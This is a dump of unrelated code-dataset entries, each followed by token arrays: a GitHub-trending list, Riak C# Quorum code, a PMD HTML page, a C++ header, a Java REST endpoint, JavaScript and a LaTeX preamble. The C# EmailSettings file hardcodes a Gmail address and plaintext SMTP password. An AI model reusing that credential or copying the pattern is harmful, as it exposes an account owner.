Fuel](https://github.com/kittinunf/Fuel):The easiest HTTP networking library for Kotlin/Android * [InsertKoinIO / koin](https://github.com/InsertKoinIO/koin):KOIN - a pragmatic lightweight dependency injection framework for Kotlin * [alibaba / transmittable-thread-local](https://github.com/alibaba/transmittable-thread-local):📌 The missing Java™ std lib(simple & 0-dependency) for framework/middleware, provide an enhanced InheritableThreadLocal that transmits ThreadLocal value between threads even using thread pooling components. * [gradle / kotlin-dsl](https://github.com/gradle/kotlin-dsl):Kotlin language support for Gradle build scripts * [arrow-kt / arrow](https://github.com/arrow-kt/arrow):Functional companion to Kotlin's Standard Library * [Kotlin / kotlinx.serialization](https://github.com/Kotlin/kotlinx.serialization):Kotlin cross-platform / multi-format serialization * [RocketChat / Rocket.Chat.Android](https://github.com/RocketChat/Rocket.Chat.Android):Rocket.Chat client in Kotlin for Android * [mozilla-mobile / android-components](https://github.com/mozilla-mobile/android-components):A collection of Android libraries to build browsers or browser-like applications. #### shell * [ToyoDAdoubi / doubi](https://github.com/ToyoDAdoubi/doubi):一个逗比写的各种逗比脚本~ * [creationix / nvm](https://github.com/creationix/nvm):Node Version Manager - Simple bash script to manage multiple active node.js versions * [dotnet / core](https://github.com/dotnet/core):Home repository for .NET Core * [Neilpang / acme.sh](https://github.com/Neilpang/acme.sh):A pure Unix shell script implementing ACME client protocol * [ubuntu / microk8s](https://github.com/ubuntu/microk8s):A kubernetes cluster in a snap * [k4m4 / terminals-are-sexy](https://github.com/k4m4/terminals-are-sexy):💥 A curated list of Terminal frameworks, plugins & resources for CLI lovers. * [bhilburn / powerlevel9k](https://github.com/bhilburn/powerlevel9k):The most awesome Powerline theme for ZSH around! * [Nyr / openvpn-install](https://github.com/Nyr/openvpn-install):OpenVPN road warrior installer for Debian, Ubuntu and CentOS * [hwdsl2 / setup-ipsec-vpn](https://github.com/hwdsl2/setup-ipsec-vpn):Scripts to build your own IPsec VPN server, with IPsec/L2TP and Cisco IPsec on Ubuntu, Debian and CentOS * [pi-hole / pi-hole](https://github.com/pi-hole/pi-hole):A black hole for Internet advertisements * [ahmetb / kubectx](https://github.com/ahmetb/kubectx):Fast way to switch between clusters and namespaces in kubectl – [✩Star] if you're using it! * [hongwenjun / vps_setup](https://github.com/hongwenjun/vps_setup):linux vim bash 脚本学习笔记 * [oldratlee / useful-scripts](https://github.com/oldratlee/useful-scripts):🐌 useful scripts for making developer's everyday life easier and happier, include java, shell etc. * [dylanaraps / neofetch](https://github.com/dylanaraps/neofetch):🖼️ A command-line system information tool written in bash 3.2+ * [Azure / azure-quickstart-templates](https://github.com/Azure/azure-quickstart-templates):Azure Quickstart Templates * [kaldi-asr / kaldi](https://github.com/kaldi-asr/kaldi):This is now the official location of the Kaldi project. * [fish-shell / fish-shell](https://github.com/fish-shell/fish-shell):The user-friendly command line shell. * [rootsongjc / kubernetes-handbook](https://github.com/rootsongjc/kubernetes-handbook):Kubernetes中文指南/云原生应用架构实践手册 - https://jimmysong.io/kubernetes-handbook * [wise2c-devops / breeze](https://github.com/wise2c-devops/breeze):Wise2C ansible playbook for Kubernetes cluster installation * [Lentil1016 / kubeadm-ha](https://github.com/Lentil1016/kubeadm-ha):Boot a ha kubernetes 1.11.0/1.12.1/1.13.0 cluster with kubeadm. * [denysdovhan / spaceship-prompt](https://github.com/denysdovhan/spaceship-prompt):🚀 ⭐️ A Zsh prompt for Astronauts * [yboetz / motd](https://github.com/yboetz/motd):Collection of 'message of the day' scripts * [open-guides / og-aws](https://github.com/open-guides/og-aws):📙 Amazon Web Services — a practical guide * [judasn / Linux-Tutorial](https://github.com/judasn/Linux-Tutorial):《Java 程序员眼中的 Linux》 * [opsnull / follow-me-install-kubernetes-cluster](https://github.com/opsnull/follow-me-install-kubernetes-cluster):和我一步步部署 kubernetes 集群
tzpBingo/github-trending
2018/2018-12-13.md
Markdown
mit
40,148
[ 30522, 1001, 1001, 2760, 1011, 2260, 1011, 2410, 1001, 1001, 1001, 1001, 2035, 1008, 1031, 2175, 5283, 5302, 11774, 3022, 1013, 6742, 4886, 1033, 1006, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2175, 5283, 5302, 11774, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// <copyright file="Quorum.cs" company="Basho Technologies, Inc."> // Copyright 2011 - OJ Reeves & Jeremiah Peschka // Copyright 2014 - Basho Technologies, Inc. // // This file is provided to you under the Apache License, // Version 2.0 (the "License"); you may not use this file // except in compliance with the License. You may obtain // a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. // </copyright> namespace RiakClient { using System; using System.Collections.Generic; /// <summary> /// Represents the possible values for Riak operation parameters such as R, W, PR, PW, DW, and RW. /// </summary> public class Quorum : IEquatable<Quorum> { private const int OneAsInt = -2; private const int QuorumAsInt = -3; private const int AllAsInt = -4; private const int DefaultAsInt = -5; private static readonly IDictionary<string, int> QuorumStrMap = new Dictionary<string, int> { { "one", OneAsInt }, { "quorum", QuorumAsInt }, { "all", AllAsInt }, { "default", DefaultAsInt } }; private static readonly IDictionary<int, string> QuorumIntMap = new Dictionary<int, string> { { OneAsInt, "one" }, { QuorumAsInt, "quorum" }, { AllAsInt, "all" }, { DefaultAsInt, "default" } }; private readonly int quorumValue = 0; /// <summary> /// Initializes a new instance of the <see cref="Quorum"/> class. /// </summary> /// <param name="quorum">A well known quorum value string, such as "one", "quorum", "all", or "default".</param> /// <exception cref="ArgumentNullException"> /// The value of <paramref name="quorum"/> cannot be null, empty, or whitespace. /// </exception> /// <exception cref="ArgumentOutOfRangeException"> /// The value of <paramref name="quorum"/> must be well known quorum value. /// Valid values are "one", "quorum", "all", and "default". /// </exception> public Quorum(string quorum) { if (string.IsNullOrWhiteSpace(quorum)) { throw new ArgumentNullException("quorum"); } int tmp; if (QuorumStrMap.TryGetValue(quorum.ToLowerInvariant(), out tmp)) { quorumValue = tmp; } else { throw new ArgumentOutOfRangeException("quorum"); } } /// <summary> /// Initializes a new instance of the <see cref="Quorum"/> class. /// </summary> /// <param name="quorum">An integer, representing the number of nodes to use for the quorum.</param> /// <exception cref="ArgumentOutOfRangeException"> /// The quorum value must be either a positive integer, 0, or between [-5,-2] for special cases. /// </exception> public Quorum(int quorum) { if (quorum >= 0) { quorumValue = quorum; } else { if (quorum >= -5 && quorum <= -2) { quorumValue = quorum; } else { throw new ArgumentOutOfRangeException("quorum"); } } } #pragma warning disable 3019 [CLSCompliant(false)] internal Quorum(uint quorum) : this((int)quorum) { } #pragma warning restore 3019 /// <summary> /// Cast the value of this <see cref="Quorum"/> to an <see cref="Int32"/>. /// </summary> /// <param name="quorum">The <see cref="Quorum"/> value to cast to an <see cref="Int32"/>.</param> /// <returns>An <see cref="Int32"/> based on the value of the this <see cref="Quorum"/>.</returns> public static implicit operator int(Quorum quorum) { return (int)quorum.quorumValue; } /// <summary> /// Cast the value of this <see cref="Int32"/> to a <see cref="Quorum"/>. /// </summary> /// <param name="quorum">The <see cref="Int32"/> value to cast to a <see cref="Quorum"/>.</param> /// <returns>A <see cref="Quorum"/> based on the value of the this <see cref="Int32"/>.</returns> public static explicit operator Quorum(int quorum) { return new Quorum(quorum); } /// <summary> /// Cast the value of this <see cref="Quorum"/> to a <see cref="String"/>. /// </summary> /// <param name="quorum">The <see cref="Quorum"/> value to cast to a <see cref="String"/>.</param> /// <returns>A <see cref="String"/> based on the value of the this <see cref="Quorum"/>.</returns> public static implicit operator string(Quorum quorum) { return quorum.ToString(); } /// <summary> /// Cast the value of this <see cref="String"/> to a <see cref="Quorum"/>. /// </summary> /// <param name="quorum">The <see cref="String"/> value to cast to a <see cref="Quorum"/>.</param> /// <returns>A <see cref="Quorum"/> based on the value of the this <see cref="String"/>.</returns> public static explicit operator Quorum(string quorum) { return new Quorum(quorum); } /// <summary> /// Cast the value of this <see cref="Quorum"/> to a <see cref="UInt32"/>. /// </summary> /// <param name="quorum">The <see cref="Quorum"/> value to cast to a <see cref="UInt32"/>.</param> /// <returns>A <see cref="UInt32"/> based on the value of the this <see cref="Quorum"/>.</returns> [CLSCompliant(false)] public static implicit operator uint(Quorum quorum) { /* * NB: this is the default since the defaultValue attribute for quorum values * is default(uint) as well. * See DtUpdateReq, for instance. */ uint rv = default(uint); if (quorum != null) { rv = (uint)quorum.quorumValue; } return rv; } /// <summary> /// Cast the value of this <see cref="UInt32"/> to a <see cref="Quorum"/>. /// </summary> /// <param name="quorum">The <see cref="UInt32"/> value to cast to a <see cref="Quorum"/>.</param> /// <returns>A <see cref="Quorum"/> based on the value of the this <see cref="UInt32"/>.</returns> [CLSCompliant(false)] public static explicit operator Quorum(uint quorum) { return new Quorum(quorum); } /// <summary> /// Returns a string that represents the Quorum value. /// </summary> /// <returns> /// A string that represents the Quorum value. /// Well known strings such as "one", "quorum", "all", and "default" are returned if possible. /// If value is not a well known string, it's <see cref="Int32.ToString()"/> value will be used. /// </returns> public override string ToString() { string tmp; if (QuorumIntMap.TryGetValue(quorumValue, out tmp)) { return tmp; } else { return quorumValue.ToString(); } } /// <summary> /// Determines whether the specified object is equal to the current object. /// </summary> /// <param name="obj">The object to compare with the current object.</param> /// <returns><b>true</b> if the specified object is equal to the current object, otherwise, <b>false</b>.</returns> public override bool Equals(object obj) { return Equals(obj as Quorum); } /// <summary> /// Determines whether the specified object is equal to the current object. /// </summary> /// <param name="other">The object to compare with the current object.</param> /// <returns><b>true</b> if the specified object is equal to the current object, otherwise, <b>false</b>.</returns> public bool Equals(Quorum other) { if (object.ReferenceEquals(other, null)) { return false; } if (object.ReferenceEquals(other, this)) { return true; } return this.GetHashCode() == other.GetHashCode(); } /// <summary> /// Returns a hash code for the current object. /// </summary> /// <returns>A hash code for the current object.</returns> public override int GetHashCode() { return quorumValue.GetHashCode(); } /// <summary> /// A collection of well known static quorum values, pre-initialized for use. /// </summary> public static class WellKnown { private static readonly Quorum OneStatic = new Quorum(Quorum.OneAsInt); private static readonly Quorum QuorumStatic = new Quorum(Quorum.QuorumAsInt); private static readonly Quorum AllStatic = new Quorum(Quorum.AllAsInt); private static readonly Quorum DefaultStatic = new Quorum(Quorum.DefaultAsInt); /// <summary> /// The "one" Quorum instance. /// Only one replica must respond to a read or write request before it is considered successful. /// </summary> public static Quorum One { get { return OneStatic; } } /// <summary> /// The "quorum" Quorum instance. /// A majority of replicas must respond to a read or write request before it is considered successful. /// </summary> public static Quorum Quorum { get { return QuorumStatic; } } /// <summary> /// The "all" Quorum instance. /// All replicas that must respond to a read or write request before it is considered successful. /// </summary> public static Quorum All { get { return AllStatic; } } /// <summary> /// The "default" Quorum instance. /// The default number of replicas must respond to a read or write request before it is considered successful. /// Riak will use the bucket (or global) default value if this <see cref="Quorum" /> is used. /// The true default value can be found in a bucket's properties, and varies for different parameters. /// </summary> public static Quorum Default { get { return DefaultStatic; } } } } }
rob-somerville/riak-dotnet-client
src/RiakClient/Quorum.cs
C#
apache-2.0
11,310
[ 30522, 1013, 1013, 1026, 9385, 5371, 1027, 1000, 22035, 6824, 1012, 20116, 1000, 2194, 1027, 1000, 24234, 2080, 6786, 1010, 4297, 1012, 1000, 1028, 1013, 1013, 9385, 2249, 1011, 1051, 3501, 17891, 1004, 17526, 21877, 11624, 2912, 1013, 1013...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> <title>PMD Core 5.5.1 Reference Package net.sourceforge.pmd.lang.ast</title> <link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="style" /> </head> <body> <div class="overview"> <ul> <li> <a href="../../../../../overview-summary.html">Overview</a> </li> <li class="selected">Package</li> </ul> </div> <div class="framenoframe"> <ul> <li> <a href="../../../../../index.html" target="_top">FRAMES</a> </li> <li> <a href="package-summary.html" target="_top">NO FRAMES</a> </li> </ul> </div> <h2>Package net.sourceforge.pmd.lang.ast</h2> <table class="summary"> <thead> <tr> <th>Class Summary</th> </tr> </thead> <tbody> <tr> <td> <a href="DummyNode.html" target="classFrame">DummyNode</a> </td> </tr> <tr> <td> <a href="SourceCodePositionerTest.html" target="classFrame">SourceCodePositionerTest</a> </td> </tr> </tbody> </table> <div class="overview"> <ul> <li> <a href="../../../../../overview-summary.html">Overview</a> </li> <li class="selected">Package</li> </ul> </div> <div class="framenoframe"> <ul> <li> <a href="../../../../../index.html" target="_top">FRAMES</a> </li> <li> <a href="package-summary.html" target="_top">NO FRAMES</a> </li> </ul> </div> <hr /> <div id="footer"> Copyright &#169; 2002&#x2013;2016 <a href="http://pmd.sourceforge.net/">InfoEther</a>. All rights reserved. </div> </body> </html>
jasonwee/videoOnCloud
pmd/pmd-doc-5.5.1/pmd-core/xref-test/net/sourceforge/pmd/lang/ast/package-summary.html
HTML
apache-2.0
2,250
[ 30522, 1026, 999, 9986, 13874, 16129, 2270, 1000, 1011, 1013, 1013, 1059, 2509, 2278, 1013, 1013, 26718, 2094, 1060, 11039, 19968, 1015, 1012, 1014, 17459, 1013, 1013, 4372, 1000, 1000, 8299, 1024, 1013, 1013, 7479, 1012, 1059, 2509, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// Copyright (C) 2011, James Webber. // Distributed under a 3-clause BSD license. See COPYING. #ifndef PIPELINE_OBSERVER_STAGE_SEQUENCE_HPP_4sykuldr #define PIPELINE_OBSERVER_STAGE_SEQUENCE_HPP_4sykuldr #include "stage_sequence.hpp" #include "../util/asserts.hpp" #include "../util/indirect.hpp" #include <vector> namespace pipeline { struct observer_stage; /*! * \ingroup grp_pipeline * Simple sequence which can only handle those stages that look but don't * touch. */ class observer_stage_sequence : public stage_sequence { public: typedef indirect_owned_polymorph<observer_stage> stages_type; stage_sequence::step_state sequence_step(); simple_stage *create_stage(stages::stage_data &cfg); void finalise() {} private: stages_type &stages() { return stages_; } stages_type stages_; }; //! \ingroup grp_pipeline //! Identical sequence for now. typedef observer_stage_sequence output_stage_sequence; } #endif
bnkr/nerve
src/nerved/pipeline/observer_stage_sequence.hpp
C++
bsd-3-clause
979
[ 30522, 1013, 1013, 9385, 1006, 1039, 1007, 2249, 1010, 2508, 19861, 1012, 1013, 1013, 5500, 2104, 1037, 1017, 1011, 11075, 18667, 2094, 6105, 1012, 2156, 24731, 1012, 1001, 2065, 13629, 2546, 13117, 1035, 9718, 1035, 2754, 1035, 5537, 1035,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package tools.descartes.teastore.persistence.rest; import java.util.ArrayList; import java.util.List; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; import jakarta.ws.rs.PathParam; import jakarta.ws.rs.QueryParam; import tools.descartes.teastore.persistence.domain.OrderItemRepository; import tools.descartes.teastore.persistence.repository.DataGenerator; import tools.descartes.teastore.registryclient.util.AbstractCRUDEndpoint; import tools.descartes.teastore.entities.OrderItem; /** * Persistence endpoint for for CRUD operations on orders. * @author Joakim von Kistowski * */ @Path("orderitems") public class OrderItemEndpoint extends AbstractCRUDEndpoint<OrderItem> { /** * {@inheritDoc} */ @Override protected long createEntity(final OrderItem orderItem) { if (DataGenerator.GENERATOR.isMaintenanceMode()) { return -1L; } return OrderItemRepository.REPOSITORY.createEntity(orderItem); } /** * {@inheritDoc} */ @Override protected OrderItem findEntityById(final long id) { OrderItem item = OrderItemRepository.REPOSITORY.getEntity(id); if (item == null) { return null; } return new OrderItem(item); } /** * {@inheritDoc} */ @Override protected List<OrderItem> listAllEntities(final int startIndex, final int maxResultCount) { List<OrderItem> orderItems = new ArrayList<OrderItem>(); for (OrderItem oi : OrderItemRepository.REPOSITORY.getAllEntities(startIndex, maxResultCount)) { orderItems.add(new OrderItem(oi)); } return orderItems; } /** * {@inheritDoc} */ @Override protected boolean updateEntity(long id, OrderItem orderItem) { return OrderItemRepository.REPOSITORY.updateEntity(id, orderItem); } /** * {@inheritDoc} */ @Override protected boolean deleteEntity(long id) { if (DataGenerator.GENERATOR.isMaintenanceMode()) { return false; } return OrderItemRepository.REPOSITORY.removeEntity(id); } /** * Returns all order items with the given product Id (all order items for that product). * @param productId The id of the product. * @param startPosition The index (NOT ID) of the first order item with the product to return. * @param maxResult The max number of order items to return. * @return list of order items with the product. */ @GET @Path("product/{product:[0-9][0-9]*}") public List<OrderItem> listAllForProduct(@PathParam("product") final Long productId, @QueryParam("start") final Integer startPosition, @QueryParam("max") final Integer maxResult) { if (productId == null) { return listAll(startPosition, maxResult); } List<OrderItem> orderItems = new ArrayList<OrderItem>(); for (OrderItem oi : OrderItemRepository.REPOSITORY.getAllEntitiesWithProduct(productId, parseIntQueryParam(startPosition), parseIntQueryParam(maxResult))) { orderItems.add(new OrderItem(oi)); } return orderItems; } /** * Returns all order items with the given order Id (all order items for that order). * @param orderId The id of the product. * @param startPosition The index (NOT ID) of the first order item with the product to return. * @param maxResult The max number of order items to return. * @return list of order items with the product. */ @GET @Path("order/{order:[0-9][0-9]*}") public List<OrderItem> listAllForOrder(@PathParam("order") final Long orderId, @QueryParam("start") final Integer startPosition, @QueryParam("max") final Integer maxResult) { if (orderId == null) { return listAll(startPosition, maxResult); } List<OrderItem> orderItems = new ArrayList<OrderItem>(); for (OrderItem oi : OrderItemRepository.REPOSITORY.getAllEntitiesWithOrder(orderId, parseIntQueryParam(startPosition), parseIntQueryParam(maxResult))) { orderItems.add(new OrderItem(oi)); } return orderItems; } }
DescartesResearch/Pet-Supply-Store
services/tools.descartes.teastore.persistence/src/main/java/tools/descartes/teastore/persistence/rest/OrderItemEndpoint.java
Java
apache-2.0
4,492
[ 30522, 1013, 1008, 1008, 1008, 7000, 2104, 1996, 15895, 6105, 1010, 2544, 1016, 1012, 1014, 1006, 1996, 1000, 6105, 1000, 1007, 1025, 1008, 2017, 2089, 2025, 2224, 2023, 5371, 3272, 1999, 12646, 2007, 1996, 6105, 1012, 1008, 2017, 2089, 6...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
define(['underscore', 'util', 'collection/abstract'], function(_, Util, AbstractCollection) { 'use strict'; var _parent = AbstractCollection.prototype; var ArrayCollection = Util.extend(AbstractCollection, { _registry: null, create: function() { var me = this; _parent.create.apply(me, arguments); me._registry = []; }, add: function(item) { var me = this; if (arguments.length > 1) { _.each(arguments, function(arg) { me.add(arg) }); return; } if (!_.contains(me._registry, item)) { me._registry.push(item); _parent.add.apply(me, arguments); } }, remove: function(item) { var me = this; if (arguments.length > 1) { _.each(arguments, function(arg) { me.remove(arg); }); return; } var index = _.indexOf(me._registry, item); if (index >= 0) { me._registry.splice(index, 1); _parent.remove.apply(me, arguments); } }, each: function(iterator) { _.each(this._registry, iterator); }, some: function(iterator) { return _.some(this._registry, iterator); }, count: function() { return this._registry.length; }, getAll: function() { return this._map.slice(); } }); return ArrayCollection; });
DirtyHairy/mayrogue-deathmatch
goldmine/shared/collection/array.js
JavaScript
mit
1,858
[ 30522, 9375, 1006, 1031, 1005, 2104, 9363, 2890, 1005, 1010, 1005, 21183, 4014, 1005, 1010, 1005, 3074, 1013, 10061, 1005, 1033, 1010, 3853, 1006, 30524, 1010, 3443, 1024, 3853, 1006, 1007, 1063, 13075, 2033, 1027, 2023, 1025, 1035, 6687, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
using System; using System.Collections.Generic; using System.Configuration; using System.Linq; using System.Net; using System.Net.Mail; using System.Web; namespace FashionStones.Utils { public class EmailSettings { public string Link = "www.fashion-stones.com.ua"; public string MailFromAddress = "kapitoshka0777@gmail.com"; public string ServerName = "smtp.gmail.com"; public bool UseSsl = true; public int ServerPort = 587; //465; public string password = "8425999kapitoshka"; } //public class GMailer //{ // public static string GmailUsername { get { return "kapitoshka0777@gmail.com"; } } // public static string GmailPassword { get {return "8425999kapitoshka";} } // public static int GmailPort { get; set; } // public static bool GmailSSL { get; set; } // public string ToEmail { get; set; } // public string Subject { get; set; } // public string Body { get; set; } // public bool IsHtml { get; set; } // static GMailer() // { // GmailHost = "smtp.gmail.com"; // GmailPort = 587; // Gmail can use ports 25, 465 & 587; but must be 25 for medium trust environment. // GmailSSL = true; // } //public void Send() //{ // SmtpClient smtp = new SmtpClient(); // smtp.Host = GmailHost; // smtp.Port = GmailPort; // smtp.EnableSsl = GmailSSL; // smtp.DeliveryMethod = SmtpDeliveryMethod.Network; // smtp.UseDefaultCredentials = false; // smtp.Credentials = new NetworkCredential(GmailUsername, GmailPassword); // using (var message = new MailMessage(GmailUsername, ToEmail)) // { // message.Subject = Subject; // message.Body = Body; // message.IsBodyHtml = IsHtml; // smtp.Send(message); // } //} // } }
dimakaminskiy/FashionStones
FashionStones/Utils/EmailSettings.cs
C#
apache-2.0
1,994
[ 30522, 2478, 2291, 1025, 2478, 2291, 1012, 6407, 1012, 12391, 1025, 2478, 2291, 1012, 9563, 1025, 2478, 2291, 1012, 11409, 4160, 1025, 2478, 2291, 1012, 5658, 1025, 2478, 2291, 1012, 5658, 1012, 5653, 1025, 2478, 2291, 1012, 4773, 1025, 3...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
\documentclass[12pt,a4paper,twoside]{book} \usepackage[utf8]{inputenc} \usepackage[english]{babel} \usepackage[vscale=0.8,left=3cm,right=2cm,footskip=2.5cm, headsep=1cm]{geometry} \usepackage{amsmath} \usepackage{amsfonts} \usepackage{amssymb} \usepackage{graphicx} \usepackage[pdfborder={0 0 0 }]{hyperref} \usepackage{enumerate} \usepackage{simplewick} \usepackage{feynmf} \usepackage{color} \usepackage{rotating} \usepackage{pdflscape} \usepackage{subfigure} \usepackage{placeins} \definecolor{javared}{rgb}{0.6,0,0} % for strings \definecolor{javagreen}{rgb}{0.25,0.5,0.35} % comments \definecolor{javapurple}{rgb}{0.5,0,0.35} % keywords \definecolor{javadocblue}{rgb}{0.25,0.35,0.75} % javadoc \usepackage{listings} \lstset{language=c++, basicstyle=\ttfamily, keywordstyle=\color{javapurple}\bfseries, stringstyle=\color{javared}, commentstyle=\color{javagreen}, morecomment=[s][\color{javadocblue}]{/**}{*/}, numbers=left, numberstyle=\small\color{black}, numbersep=10pt, tabsize=4, showspaces=false, showstringspaces=false, frame=tb, breaklines=true} \author{Christoffer Hirth} \title{Studies of quantum dots\\Ab initio coupled-cluster analysis using OpenCL and GPU programming} \begin{document} \input{../01-frontpage/frontpage.tex} 